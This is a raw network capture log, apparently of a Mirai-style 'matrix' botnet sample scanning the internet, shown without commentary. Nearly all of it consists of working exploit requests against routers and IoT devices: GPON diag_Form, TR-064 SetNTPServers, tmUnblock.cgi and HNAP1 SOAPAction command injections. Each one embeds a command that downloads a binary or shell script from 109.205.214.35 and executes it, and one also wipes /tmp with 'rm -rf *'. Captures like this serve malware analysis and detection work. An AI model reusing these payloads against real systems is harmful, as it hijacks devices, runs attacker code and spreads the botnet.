Mar 21, 2024 05:23:14.701006889 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.13	58290	5.69.66.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701036930 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.13	40712	212.191.18.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701037884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.13	60450	42.35.100.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701044083 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.13	58162	5.137.9.230	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701064110 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.13	33932	118.158.199.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701086998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.13	50682	109.60.244.174	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701097012 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.13	46114	5.125.56.201	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701143980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.13	49720	212.103.25.31	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701143980 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.13	58104	118.65.193.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701149940 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.13	37404	5.205.72.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.701174974 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.13	54022	47.149.12.231	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:14.863440037 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.13	44252	38.181.191.15	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.003684998 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:19.212263107 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:25.356246948 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:37.390225887 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.13	45270	61.71.243.75	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.009363890 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:15.969333887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.13	53742	172.65.72.9	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.171963930 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.13	42828	172.65.163.63	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.172105074 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.13	49416	172.66.215.149	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.172624111 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.13	37928	172.64.22.203	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.254194021 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.13	42870	82.165.117.162	8081

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:15.469064951 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:15.728302002 CET	763	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://109.205.214.35/mips && chmod +x mips;./mips hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Mar 21, 2024 05:23:15.981976986 CET	1286	IN	HTTP/1.0 404 Not Found Date: Thu, 21 Mar 2024 04:23:15 GMT Server: Apache/2.4.38 (Debian) X-Powered-By: PHP/7.4.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://annahof-berg.de/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 21 5b 65 6e 64 69 66 5d 2d 